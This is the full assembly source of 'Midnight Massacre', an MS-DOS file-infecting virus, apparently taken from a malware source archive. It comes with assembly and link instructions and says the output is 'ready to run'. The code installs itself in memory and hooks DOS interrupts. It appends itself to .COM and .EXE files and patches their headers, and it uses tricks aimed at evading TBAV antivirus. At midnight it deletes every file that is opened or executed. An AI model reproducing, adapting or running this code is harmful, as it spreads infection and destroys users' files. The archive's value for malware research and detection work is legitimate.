MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.massacre.asm
2021-01-12 17:49:21 -06:00

564 lines
16 KiB
NASM

;****************************************************************************
;* Midnight Massacre virus *
;* by Crypt Keeper *
;****************************************************************************
;Version 1.2
;Entry point and check resident bugs fixed.
;Midnight Massacre is based on the Eleet! virus, but with added .COM
;support, bugs in infection process fixed, and new load resident and
;trigger routines. The Midnight Massacre virus will infect .COM or
;.EXE files as they are opened, executed, or their attributes are
;accessed. Also, if the system time is 12:00am, the virus will delete
;any file executed or opened for any reason (midnight massacre).
;Midnight Massacre also has a unique memory-resident installation
;routine that will load it into the UMB if a high memory driver is
;present, or 1000h paragraphs down from top of memory, if no HMA
;driver is loaded. Midnight Massacre will not infect COMMAND.COM
;TASM MASSACRE.ASM /M3
;TLINK MASSACRE.OBJ /t
;The generated .COM file is ready to run with no modifications.
.model tiny
.code
org 100h
massacre: ;start of virus code
vtop equ $ ;top of virus code block
;Equates --------------------------------------------------------------------
vlength equ vbot-vtop ;virus length in bytes
heapsiz equ hbot-heap ;heap size in bytes
vlres equ ((vlength+heapsiz+100h)/16)+1 ;virus length in paragraphs
vlpage equ (vlength/512)+1 ;virus length in pages
chkfunc equ 9AC7h ;check resident int 21h function
virusid equ 0000h ;virus ID word in exeheader
;----------------------------------------------------------------------------
db 0BDh ;mov bp,
delta dw 0 ;delta offset
lea sp,[bp+(offset(sspace)+64)] ;set up new stack
push ds
push es ;save original EXE segments
cld ;clear direction flag
mov ax,chkfunc
int 2Fh
push cs
pop ds
cmp ax,chkfunc+1 ;did virus return reply?
jne install ;if not, install resident
jmp return ;if so, return to original program
install:
mov ax,3521h ;Get int 21h vector
int 21h
mov [bp+offset(i21veco)],bx
mov [bp+offset(i21vecs)],es
mov ax,352Fh ;Get int 2Fh vector
int 21h
mov [bp+offset(i2Fveco)],bx
mov [bp+offset(i2Fvecs)],es
mov ax,4300h ;get himem.sys installed state
int 2Fh ;multiplex interrupt
cmp al,80h ;80h in al means himem.sys is loaded
jne get_old_fashioned_way
mov ax,4310h ;get himem.sys entry point adress
int 2Fh
mov [bp+offset(himem_o)],bx
mov [bp+offset(himem_s)],es ;save entry point for calling
mov ah,10h ;allocate UMB (function 10h)
mov dx,vlres ;paragraphs to request
call dword ptr [bp+offset(himem_o)] ;call himem.sys
mov ax,bx ;BX will contain segment of memory
jmp short go_ahead_load ;continue with load procedure
get_old_fashioned_way:
int 12h ;get total k-bytes of RAM in conv. mem
xor dx,dx
mov cx,1024
mul cx
mov cx,16
div cx ;convert to paragraphs
sub ax,1000h ;put it 1000h paragraphs down from TOM
go_ahead_load:
mov es,ax ;segment of allocated memory arena
lea si,[bp+offset(massacre)] ;bp=start of virus code
mov cx,vlength+heapsiz ;virus length in bytes+heap data
mov di,100h
rep movsb ;copy virus code up there
push es
pop ds
mov dx,offset(i2Fvec) ;new int 21h vector
mov ax,252Fh ;set int 21h vector
int 21h
mov dx,offset(i21vec) ;new int 21h vector
mov ax,2521h ;set int 21h vector
int 21h
return: cmp byte ptr [bp+offset(comid)],0 ;is this a .COM file we're from?
jne return_exe
mov sp,0FFFEh ;set old stack pointer
push cs
pop ds
push cs
pop es
lea si,[bp+offset(saved)] ;saved bytes from original .COM
mov di,100h
push di ;set up for return
mov cx,compend-cptop ;size of branch code to replace
rep movsb ;replace branch code
ret ;jump back to top of code segment
return_exe:
mov ah,51h ;Get PSP adress
int 21h
add bx,16 ;Compensate for PSP size
pop es
pop ds ;Restore original ES and DS from EXE
cli ;Clear interrupts for stack change
mov sp,cs:[bp+offset(old_sp)]
mov ax,cs:[bp+offset(old_ss)]
add ax,bx ;Find segment for SS
mov ss,ax ;Reset original EXE stack
sti
add cs:[bp+offset(old_cs)],bx ;Find segment for CS
jmp dword ptr cs:[bp+offset(old_ip)] ;Far jump to original EXE code
;----------------------------------------------------------------------------
i2Fvec: cmp ax,chkfunc ;check resident function?
je ret_reply ;if so, return a reply
jmp dword ptr cs:i2Fveco
ret_reply:
inc ax
iret ;return with reply
;----------------------------------------------------------------------------
move_pointer_beginning:
xor dx,dx
xor cx,cx
mov ax,4200h ;move file pointer to beginning of file
jmp short function ;execute DOS function call
move_pointer_end:
xor cx,cx
xor dx,dx ;move pointer 0 bytes
mov ax,4202h ;move pointer to end of file
;goes on to function procedure below
function:
pushf
call dword ptr cs:i21veco ;simulate int 21h call
ret
;Data -----------------------------------------------------------------------
message db '[MIDNIGHT MASSACRE] V1.2 by Crypt Keeper'
old_sp dw 0
old_ss dw 0FFF0h ;Old SS:SP
old_ip dw 0
old_cs dw 0FFF0h ;Old CS:IP
exeext db 'EXE'
comext db 'COM' ;Extensions to look for
comid db 0 ;set to 0 if .COM file by loader
cptop equ $ ;start of COM file branch program
comproc:
nop
db 0BBh ;MOV BX,
voffset dw 0 ;virus jump offset
push bx
ret
compend equ $ ;End of COM file branch program
saved db 0CDh,20h ;for proper return on gen #1 file
db (compend-cptop)-2 dup (0) ;saved .COM file bytes
;----------------------------------------------------------------------------
i21vec: nop
xchg ax,dx ;load into another register to fool
;TBAV's interception check flag
cmp dx,4B00h ;load and execute program?
je vtrigger
cmp dx,4B01h ;load program?
je vtrigger
cmp dh,3Dh ;open file with handle?
je vtrigger
cmp dx,4301h ;set file attributes?
je vtrigger
cmp dx,4300h ;get file attributes?
je vtrigger
xchg ax,dx
jmp dword ptr cs:i21veco
vtrigger:
xchg ax,dx
push es
push si
push di
push ax
push bx
push cx
push ds
push dx
mov ah,2Ch ;Get time
int 21h
pop dx
push dx ;get old DX off stack
cmp cx,0 ;midnight?
jne no_massacre ;if not, skip the massacre
mov ah,41h ;delete file
int 21h
jmp short exitvec ;exit from interrupt
no_massacre:
push ds
pop es
mov di,dx
push cs
pop ds
cld ;clear direction flag
mov cx,128 ;maximum number of chars in a filename
mov al,'.' ;search for extension seperator
repne scasb ;find file extension
cmp cx,0 ;no extension found?
je exitvec
mov bx,di
upcase: cmp byte ptr es:[di],97
jb skip_change
cmp byte ptr es:[di],122
ja skip_change ;non-letters are not affected
and byte ptr es:[di],5Fh ;make character upper case
skip_change:
inc di
loop upcase
mov di,bx
mov si,offset(exeext) ;extension to compare to
mov cx,3 ;3 bytes to compare
repe cmpsb ;is the extension 'EXE'?
cmp cx,0 ;were they equal?
je infect_exe ;if so, infect the .EXE file
mov di,bx
mov si,offset(comext) ;extension to compare to
mov cx,3 ;3 bytes to compare
repe cmpsb ;is the extension 'COM'?
cmp cx,0 ;were they equal?
jne exitvec ;if not, terminate
sub bx,3
cmp word ptr es:[bx],'DN' ;end with 'ND'?
je exitvec
jmp infect_com ;infect the .COM file
exitvec:
pop dx
pop ds
pop cx
pop bx
pop ax
pop di
pop si
pop es
jmp dword ptr cs:i21veco ;execute rest of interrupt chain
infect_exe:
pop dx
push dx ;get adress of filename off stack
call prepare_infect ;prepare to infect
mov cx,28 ;size of EXE header + extra stuff
mov dx,offset(exeheader) ;EXE header data space
mov ah,3Fh ;read file or device
int 21h
mov ax,exesign
xor ax,0ABCDh ;kill TBAV's check exe/com flag
cmp ax,0E697h
je exe_ok
cmp ax,0F180h
je exe_ok ;if EXE ID field is ok, go ahead
jmp endinfection ;If not good EXE, end infection
exe_ok: cmp idword,virusid ;virus already infected?
jne not_infected ;if not, proceed
jmp endinfection
not_infected:
les si,dword ptr ds:initip ;get CS:IP from EXE header
mov old_cs,es
mov old_ip,si
les si,dword ptr ds:initss ;get SS:SP (reversed)
mov old_ss,si
mov old_sp,es
call move_pointer_end ;move file pointer to end of file
mov cx,10h
div cx ;convert to paragraphs
push ax
sub ax,headers ;subtract header size in paragraphs
pop cx
cmp ax,cx
ja endinfection ;If file too small, end infection
mov initcs,ax
mov initip,dx ;set initial CS:IP in exe header
sub dx,100h
mov delta,dx ;set delta offset in virus
mov initss,ax
mov idword,virusid ;set initial SS:SP in exe header
add minallc,vlres+1 ;add virus size to minimum memory
mov comid,0FFh ;set COM-ID field to nonzero (not COM)
mov cx,vlength ;number of bytes in virus
mov dx,100h
mov ah,40h ;write file or device
int 21h
call move_pointer_end ;move file pointer to end of file
mov cx,512
div cx ;change bytes in new file to pages
cmp dx,0 ;no remainder?
je go_ahead_set
inc ax ;if remainder, add another page
go_ahead_set:
mov expages,ax
mov exbytes,dx ;set EXE file size
call move_pointer_beginning ;move pointer to beginning of file
mov cx,28 ;header size in bytes
mov dx,offset(exeheader) ;write exe header back out to file
mov ah,40h ;write file or device
call function
endinfection:
mov cx,oldtime
mov dx,olddate
mov ax,5701h ;set file date and time
int 21h
mov ah,3Eh ;close file with handle
int 21h
pop dx
pop ds ;get old location of filename
mov cx,oldattr
mov ax,4301h ;set file attributes
call function
jmp exitvec ;return from interrupt
prepare_infect:
push es
pop ds
mov ax,4300h ;get file attributes
call function
jnc file_ok ;no carry means filename exists
jmp exitvec
file_ok:
pop ax ;preserve return vector
push ds
push dx
push ax ;put return vector on top of stack
mov cs:oldattr,cx ;save old file attributes
xor cx,cx ;set to normal attributes
mov ax,4301h ;set file attributes
call function
mov ax,3D02h ;open file for read/write access
call function
mov bx,ax ;file handle
push cs
pop ds
mov ax,5700h ;get file date and time
int 21h
mov oldtime,cx
mov olddate,dx ;save old time and date
ret
infect_com:
pop dx
push dx ;get adress of filename off stack
call prepare_infect ;open and prepare to infect
mov cx,compend-cptop ;size of .COM file branch code
mov dx,offset(saved) ;saved bytes buffer
mov ah,3Fh ;read file or device
int 21h
mov ax,word ptr comproc
cmp word ptr saved,ax ;is file already infected?
je endinfection
mov comid,0 ;zero .COM id field
call move_pointer_end ;move file pointer to EOF
mov delta,ax ;delta offset
add ax,100h
mov voffset,ax ;offset of virus code in .COM file
mov cx,vlength ;length of virus to write
mov dx,100h
mov ah,40h ;write file or device
int 21h
call move_pointer_beginning ;move file pointer to start of file
mov cx,compend-cptop ;size of .COM file branch code
mov dx,offset(comproc) ;.COM file branch code to write
mov ah,40h ;write file or device
int 21h
jmp endinfection ;we're done.
;----------------------------------------------------------------------------
vbot equ $ ;bottom of virus code
heap equ $ ;Beginning of heap
himem_o dw 0
himem_s dw 0 ;himem.sys entry point adress
i21veco dw 0
i21vecs dw 0 ;int 21h vector
exeheader:
exesign dw 0 ;EXE signature
exbytes dw 0 ;number of bytes in last page
expages dw 0 ;number of pages in file
reloci dw 0 ;number of items in relocation table
headers dw 0 ;size of header in paragraphs
minallc dw 0 ;minimum memory to be allocated
maxallc dw 0 ;maximum memory to be allocated
initss dw 0 ;initial SS value
idword dw 0 ;initial SP value (used as ID word)
chksum dw 0 ;complimented checksum
initip dw 0 ;initial IP value
initcs dw 0 ;initial CS value
reltabl dw 0 ;byte offset to relocation table
ovnum dw 0 ;overlay number
oldattr dw 0 ;old file attributes
oldtime dw 0
olddate dw 0 ;old saved time and date
i2Fveco dw 0
i2Fvecs dw 0 ;old INT 2Fh vectors
hbot equ $ ;bottom of heap
sspace db 64 dup ('+') ;virus stack
end massacre